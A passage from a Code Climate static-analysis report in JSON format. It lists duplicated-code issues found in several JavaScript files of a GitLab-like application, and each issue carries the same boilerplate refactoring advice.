refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":277,"end":286}},"remediation_points":930000,"other_locations":[{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":287,"end":296}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 66**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"923d82c4da880c23e929c2402aedd37e","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":287,"end":296}},"remediation_points":930000,"other_locations":[{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":277,"end":286}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 66**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"923d82c4da880c23e929c2402aedd37e","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/blob/blob_fork_suggestion.js","lines":{"begin":31,"end":34}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/blob/blob_fork_suggestion.js","lines":{"begin":56,"end":59}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"938856cdef6ef5aa2933db645ea96362","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/blob/blob_fork_suggestion.js","lines":{"begin":56,"end":59}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/blob/blob_fork_suggestion.js","lines":{"begin":31,"end":34}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"938856cdef6ef5aa2933db645ea96362","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diffs/index.js","lines":{"begin":30,"end":39}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/mr_notes/index.js","lines":{"begin":66,"end":75}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b35237501aeed21f2d38aef31627b97e","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/mr_notes/index.js","lines":{"begin":66,"end":75}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/diffs/index.js","lines":{"begin":30,"end":39}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"17da47f3678555baddd89ae6622e441f","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":18,"end":31}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":33,"end":46}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"a93d28498cd20f4d35a3f8dbbc0a7a35","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":33,"end":46}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":18,"end":31}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"a93d28498cd20f4d35a3f8dbbc0a7a35","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":237,"end":241}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":340,"end":344}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"785078efeabfa8c98aa5bf0804b2619d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":340,"end":344}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":237,"end":241}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"785078efeabfa8c98aa5bf0804b2619d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/utils.js","lines":{"begin":112,"end":122}},"remediation_points":840000,"other_locations":[{"path":"app/assets/javascripts/ide/lib/diff/controller.js","lines":{"begin":6,"end":16}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 63**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"09d7d5a8cacd9d95c32bc8b4e6b53930","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/lib/diff/controller.js","lines":{"begin":6,"end":16}},"remediation_points":840000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/utils.js","lines":{"begin":112,"end":122}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 63**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f94a7934b1c80152deb5b61a0c5db3d4","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/api.js","lines":{"begin":118,"end":124}},"remediation_points":810000,"other_locations":[{"path":"app/assets/javascripts/api.js","lines":{"begin":126,"end":132}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 62**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"104c7ee7f9a45a32c42bacfaa5a5f1bc","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/api.js","lines":{"begin":126,"end":132}},"remediation_points":810000,"other_locations":[{"path":"app/assets/javascripts/api.js","lines":{"begin":118,"end":124}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 62**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be 